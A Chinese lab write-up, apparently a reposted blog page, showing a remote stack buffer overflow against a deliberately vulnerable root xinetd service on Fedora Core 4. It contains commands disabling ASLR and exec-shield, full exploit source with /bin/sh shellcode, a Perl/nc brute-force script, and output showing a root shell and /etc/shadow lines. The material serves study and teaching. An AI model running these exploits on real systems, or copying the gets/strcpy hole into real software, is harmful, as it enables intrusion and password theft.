远程缓冲器溢出攻击

实验平台:Fedora Core 4 (做实验的必备利器平台,很好很强大,也可以用来学习鸟哥的linux私房菜,现在网上都不好找了)

http://archives.fedoraproject.org/pub/archive/fedora/linux/core/4/i386/iso/  这是官方的,相当给力,在网上还没有消失

前提:去掉操作系统的堆栈执行保护和内存随机化机制

sysctl -w kernel.randomize_va_space=0
sysctl -w kernel.exec-shield=0

在ubuntu8.04平台上可以只用第一条即可,但是redhat9.0的保护机制真的很神秘,我说什么也没找到如何去掉内存随机化机制

目标漏洞代码:

//vuln.c在root目录下
/*远程漏洞*/ /*加载到xinetd中,或其他类似环境中*/ #include<stdio.h> #include<string.h> #include<ctype.h> int doit(char *str) { char bufz[400]; printf("doing stuffz...\n"); strcpy(bufz,str); return(0); } int main(int argc,char *argv[]) { char buf[4096]; gets(buf); doit(buf); //doit(argv[1]); printf("DONE STUFFZ..[%s]\n",buf); return(0); }

 编译漏洞程序代码:

gcc -o vuln vuln.c -ggdb

编辑如下文件/etc/services,在最后面添加

vuln 555/tcp
#added to test remote exploit

这两行代码即可

接下来,在/etc/xinetd.d目录中创建以下脚本:

#default:on
#description:The vuln server is to test remote exploits,do NOT leave
#in place!!! It is vulnerable.!!
service vuln
{
  flags		=	REUSE
  socket_type	=	stream
  wait			=	no
  user			=	root
  server		=	/root/vuln
  #log_on_failure+	=	USERID
}

 最后,重启xinetd进程:

[root@Lynx ~]# /etc/init.d/xinetd restart
停止 xinetd:                                              [  确定  ]
启动 xinetd:                                              [  确定  ]

检查一下漏洞服务是否正常开启:

[root@Lynx ~]# netstat -an | grep 555
tcp        0      0 0.0.0.0:555                 0.0.0.0:*                   LISTEN

说明服务开启成功了。

上面完成了搭建漏洞目标,下面开始考虑攻击。

思路是要确定远程机器的esp值,可以在同一平台上编译一个程序,并调试器跟踪,这种方法只是为了估计一下esp值,然后可以用perl脚本暴力猜解。

#! /usr/bin/perl
$MIN=0;
$MAX=5000;
while($MIN<$MAX){
printf("offset:$MIN Hold down the enter key til program stops...\n");
system("(./exploit 600 $MIN 0xbffff848;cat) | nc 192.168.0.100 555");$MIN++;
}

 其中用的exploit代码如下:

//exploit.c
#include<stdio.h>
char shellcode[]= //setuid(0)
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
unsigned long get_sp(void){
  __asm__("movl %esp,%eax");
}
int main(int argc,char *argv[1]){
int i,offset=0;
long esp,ret,*addr_ptr;
char *buffer,*ptr;
int size=500;
esp=get_sp();
if(argc>1) size=atoi(argv[1]);//atoi将字符串转换成整型数字
if(argc>2) offset=atoi(argv[2]);
if(argc>3) esp=strtoul(argv[3],NULL,0);//将参数转换为无符号长整数型 
ret=esp-offset;
fprintf(stderr,"Usage:%s<buff_size><offset><esp:0xfff...>\n",argv[0]);
fprintf(stderr,"ESP:0x%x Offset:0x%x Return:0x%x\n",esp,offset,ret);
buffer=(char *)malloc(size);
ptr=buffer;
addr_ptr=(long *)ptr;
for(i=0;i<size;i+=4){ //把buffer都填充上ret地址
*(addr_ptr++)=ret;
}
for(i=0;i<size/2;i++){ //把buffer前半部都填上NOP
buffer[i]='\x90';}
ptr=buffer+size/2; //从buffer中间开始填充shellcode代码  这几步实现exploit的攻击三明治
for(i=0;i<strlen(shellcode);i++){
*(ptr++)=shellcode[i];
}
buffer[size-1]=0;  //不要忘了buffer最后用0结尾,否则程序会找不到结尾的
//execl("./vuln","vuln",buffer,0);
printf("%s",buffer);   //一定要有,以用来被shell的cat捕获
free(buffer);
return 0;
}

猜解过程:

[root@Lynx ~]# perl brute.pl
offset:0 Hold down the enter key til program stops...
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0x0 Return:0xbffff848
。
。省略n多回车过程
。
。
offset:3725 Hold down the enter key til program stops...
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0xe8d Return:0xbfffe9bb


offset:3726 Hold down the enter key til program stops...
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0xe8e Return:0xbfffe9ba





id;   //这个当然是自己输入的了
uid=0(root) gid=0(root)
head -5 /etc/shadow
root:$1$sGyrznBw$Tz5gxCNe/mPijTIbbWzyM0:15692:0:99999:7:::
bin:*:15692:0:99999:7:::
daemon:*:15692:0:99999:7:::
adm:*:15692:0:99999:7:::
lp:*:15692:0:99999:7:::

 以后就可以直接用

 #./exploit 600 0xe8e 0xbffff848;cat) | nc 192.168.0.100 555

直接进行攻击了。

 

实验总结:实验并不顺利,开始找不到合适esp的值,很迷茫,有是服务程序,用gdb不会调试。冷静下来,要一部分一部分确定没问题,首先服务程序代码能顺利启动,没有问题,而且以前有本地溢出的基础,可以看出确实存在溢出漏洞,所以目标代码没有问题。

接下来还剩下perl暴力猜解过程和exploit。先来确定exploit有没有问题,可以用溢出本地程序来测试,先用一个参数的,例如用./exploit 600,如果得到:

[root@Lynx ~]# ./exploit 600
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff848 Offset:0x0 Return:0xbffff848
sh-3.00#

这个结果说明能溢出成功,那么就测试用三个参数./exploit 600 0 0xbffff848 ,也能返回shell

[root@Lynx ~]# ./exploit 600 1 0xbffff849
Usage:./exploit<buff_size><offset><esp:0xfff...>
ESP:0xbffff849 Offset:0x1 Return:0xbffff848
sh-3.00#

说明exploit不存在问题。

接下来排除perl暴力猜解脚本,其实只要明白其中的暴力猜解原理,就很容易理解啦,核心是

system("(./exploit 600 $MIN 0xbffff848;cat) | nc 192.168.0.100 555");$MIN++;

在shell里面执行./exploit 600 $MIN 0xbffff848,然后用cat捕获,再通过管道输出到nc作为nc的输入,nc把数据提交到服务器,被服务器执行。当所有都没有问题了,那就一直按着回车等吧,关键初始的esp要选的合适,perl脚本里的MAX也要足够大,才有可能猜到合适的esp值,不然会猜解不到的。

 

另:感觉在linux建立服务程序真的很轻松啊,linux强大至极,nc是相当牛叉的数据提交工具。

转载于:https://www.cnblogs.com/shanmao/archive/2012/12/20/2826179.html

缓冲区溢出漏洞 缓冲区溢出攻击 一. 缓冲区溢出 是指程序试图向缓冲区写入超出预分配固定长度数据的情况。 这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。 这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。 二. 安装一些用于编译 32 位 C 程序的软件包(32 位Ubuntu linux环境) $ sudo apt-get update $ sudo apt-... 阅读详情

相关推荐

写远程缓冲区溢出漏洞利用程序

怎样写远程缓冲区溢出漏洞利用程序 ? 在此,我们假设有一个有漏洞的服务器程序(vulnerable.c). 然后写一个 exploit 来利用该漏洞,这样将能得到一个远程 shell。

网安学习日记-MS08-067远程溢出漏洞学习(CVE-2008-4250)

MS08-067远程代码执行漏洞详细利用过程与发现思路

末班车的博客 1059

用Python实现一个简单的远程桌面服务端和客户端

本文介绍了一个基于Python的轻量级远程桌面解决方案,针对商业软件在嵌入式系统上的兼容性问题、性能问题和成本问题。系统采用客户端-服务端架构,包含两个通信通道:5000端口传输压缩视频流,5001端口传输控制事件。通过多线程设计、图像压缩(JPEG+zlib)和网络优化(禁用Nagle算法)等技术手段提高性能。服务端实现了高效的屏幕捕获(使用mss库)、图像处理流水线和事件处理逻辑。客户端采用PyQt5构建UI界面,包含视频接收线程以减少主线程负担。该方案具有跨平台、开源免费、轻量级(核心代码不到500行

Hi20240217的博客 1660

Windows 远程栈溢出挖掘

title: Windows 远程栈溢出挖掘 date: 2019-04-20 11:22:50 tags: 渗透测试 categories: 渗透测试 copyright: true --- 缓冲区溢出攻击很容易被攻击者利用,因为C/C++语言并没有自动检测缓冲区溢出操作,同时程序编写人员在编写代码时也很难始终检查缓冲区是否可能溢出.利用溢出,攻击者可以将期望数据写入漏洞程序内存中的任意位...

weixin_30667649的博客 503

保姆级教程:用Python+MM-Agent搭建自己的数学建模AI助手(支持GPT-4o/DeepSeek)

本文提供了一份详细的教程,教你如何使用Python和MM-Agent框架搭建数学建模AI助手,支持GPT-4o和DeepSeek-R1等LLM后端。从环境配置、HMML知识库集成到多LLM适配和建模流程实现,手把手教你构建智能建模系统,提升数学建模效率。

k6l7m8n9的博客 452

别再只接个放大器了!压电传感器测量电路(电压/电荷放大器)的5个实战配置要点

本文深入解析压电传感器测量电路中的5个关键实战配置要点,包括电缆长度选择、输入阻抗匹配、过载保护设计、低频噪声抑制及放大器选型策略。特别针对电压放大器和电荷放大器的应用场景差异提供工程实践建议,帮助工程师有效解决信号失真、噪声干扰等常见问题,提升测量精度和系统可靠性。

weixin_26869081的博客 302

网安学习日记-永恒之蓝MS17-010远程溢出漏洞学习(CVE-2017-0143)

MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。

末班车的博客 1773

SAP SD信贷管理实战:从配置到风险控制的完整指南(附后台路径)

本文详细解析了SAP SD信贷管理的完整配置流程与风险控制策略,涵盖信贷控制范围设置、风险分级机制及动态控制配置。通过实战案例和后台路径指引,帮助企业实现从客户信用评估到实时监控的全流程管理,有效降低坏账风险并优化资金安全。

3a9bq4r8t2y的博客 212

网络安全威胁——缓冲区溢出攻击

缓冲区是一块连续的计算机内存区域,用于在将数据从一个位置移到另一位置时临时存储数据。这些缓冲区通常位于 RAM 内存中,可保存相同数据类型的多个实例,如字符数组。计算机经常使用缓冲区来帮助提高性能,大多数现代硬盘驱动器都利用缓冲优势来有效地访问数据,并且许多在线服务也使用缓冲区。例如,在线视频传送服务经常使用缓冲区以防止中断。流式传输视频时,视频播放器一次下载并存储 20% 的视频到缓冲区,然后从该缓冲区进行流式传输,当连接速度的小幅下降或快速的服务中断都不会影响视频流性能。

2301_80467305的博客 2352

从零开始学嵌入式之STM32——1.什么是STM32

它是ST公司推出的一系列单片机的统称。ST----指的是ST公司----意法半导体。意法半导体,成立于1987年,是由意大利的SGS微电子公司和法国的Thomson半导体公司合并而成。ARM目前主要是ARM架构处理器及外围组件的电路设计方案,知识产权授权的形式收取费用,其他公司根据ARM的方案设计出CPU产品。,它以应用为核心,软硬件可裁剪,旨在实现对设备的控制、监测或辅助功能,区别于通用计算机(如 PC、服务器)的 “一机多用” 属性。在嵌入式领域,目前主流的是cortex-M3内核推出的芯片。

qshdyy的博客 1854

新手必看:用FileZilla从武大IGS中心下载GNSS数据,再到crx2rnx转换的完整流程

本文详细介绍了新手如何通过FileZilla从武汉大学IGS中心下载GNSS数据,并使用crx2rnx工具将数据转换为RINEX格式的完整流程。涵盖工具准备、FTP连接、文件解压、格式转换及常见问题排查,帮助测绘和地信专业人员高效处理GNSS观测值数据。

weixin_29292431的博客 425

缓冲区溢出攻击详细教程

缓冲区溢出攻击详细教程  缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出攻击有多种英文名称:buffer overflow,buffer overrun,smash the stack,trash t

Road to the Heart 2888

【SerDes】美信GMSL2-CSI调试心得

美信GMSL2加解串器芯片家族广泛应用于车载和工业视觉系统。文章介绍了MAX96717/MAX96717F加串器和MAX96724/MAX96724R解串器的关键特性,包括支持MIPI CSI-2接口、6Gbps传输速率等功能。提供了基于高通平台的demo系统配置和调试步骤,重点阐述了Link Lock、PCLK检测和Video Lock等关键调试环节,并详细说明了像素模式,隧道模式的工作原理及寄存器配置示例。文中还包含通过I2C读写寄存器的具体操作指令,取流freeze可能原因和解决方法。

qq_38089448的博客 2491

网络攻击的常见形式

学习笔记整理之网络攻击的常见形式。

猫晨的技术小屋 2706

【Unity程序技巧】Unity中单例模式管理器

单例模式(Singleton Pattern)是 最简单的设计模式之一

秩沅 1657

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

网络安全中黑客主要手段和攻击方法

网络安全中黑客主要手段和攻击方法    (一)黑客常用手段    1、网络扫描--在Internet上进行广泛搜索,以找出特定计算机或软件中的弱点。   2、网络嗅探程序--偷偷查看通过Internet的数据包,以捕获口令或全部内容。通过安装侦听器程序来监视网络数据流,从而获取连接网络系统时用户键入的用户名和口令。   3、拒绝服务 -通过反复向某个Web站点的设备发送过多

michaellou的专栏 3590

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

远程代码执行 (RCE),解释:它是什么,以及如何防止它

原文地址:Remote code execution (RCE), explained: what it is and how to prevent it 原文作者:Tsviatko Yovtchev 译文出自:掘金翻译计划 原文链接:https://blog.sqreen.com/remote-code-execution-rce-explained/ 远程代码执...

owenzhang的博客 3991

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

IIS6.0(CVE-2017-7269) 缓冲器溢出

漏洞描述开启WebDAV服务对IIS 6.0存在缓冲区溢出漏洞都可以导致远程代码执行,所以对于目前的IIS 6.0用户而言,可用的变通方案就是关闭WebDAV服务。 漏洞编号CVE-2017-7269 漏洞等级高危 影响产品Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0 漏洞环境搭建我的环境是windows 2003 R2 E...

weixin_30377461的博客 591

入侵、攻击过程解析

一:几种常用的攻击手段:   1、网络扫描--在Internet上进行广泛搜索,以找出特定计算机或软件中的弱点。   2、网络嗅探程序--偷偷查看通过Internet的数据包,以捕获口令或全部内容。通过安装侦听器程序来监视网络数据流,从而获取连接网络系统时用户键入的用户名和口令。   3、拒绝服务 -通过反复向某个Web站点的设备发送过多的信息请求,黑客可以有效地堵塞该站点上的系统,导致无法完成应...

虫虫的博客 1318

细数十七种黑客攻击手段,简直防不胜防!

网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析。

Karka_的博客 147

细数十七种黑客攻击手段,简直防不胜防,零基础入门到精通,收藏这篇就够了

如今,智能设备与互联网更迭迅速,用户和企业受到网络攻击的风险和频率也越来越高。网络环境危险不断逼近,因此,我们一定要有安全观念,尽量让黑客没有可乘之机。那么黑客攻击手段有哪些?下面我们就来一起了解一下,黑客是如何进行攻击的。【----帮助大家安全防范,以下所有学习资料文末免费领!----】

Python_0011的博客 1013

细数十七种黑客攻击手段,简直防不胜防

学好网络安全不论是就业还是做副业赚钱都不错,但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料,给那些想学习网络安全的小伙伴们一点帮助!

qq_44005305的博客 145
上一篇: 攻击小的缓冲区
下一篇: 格式串攻击
dgitra7963
博客等级 码龄10年 10粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值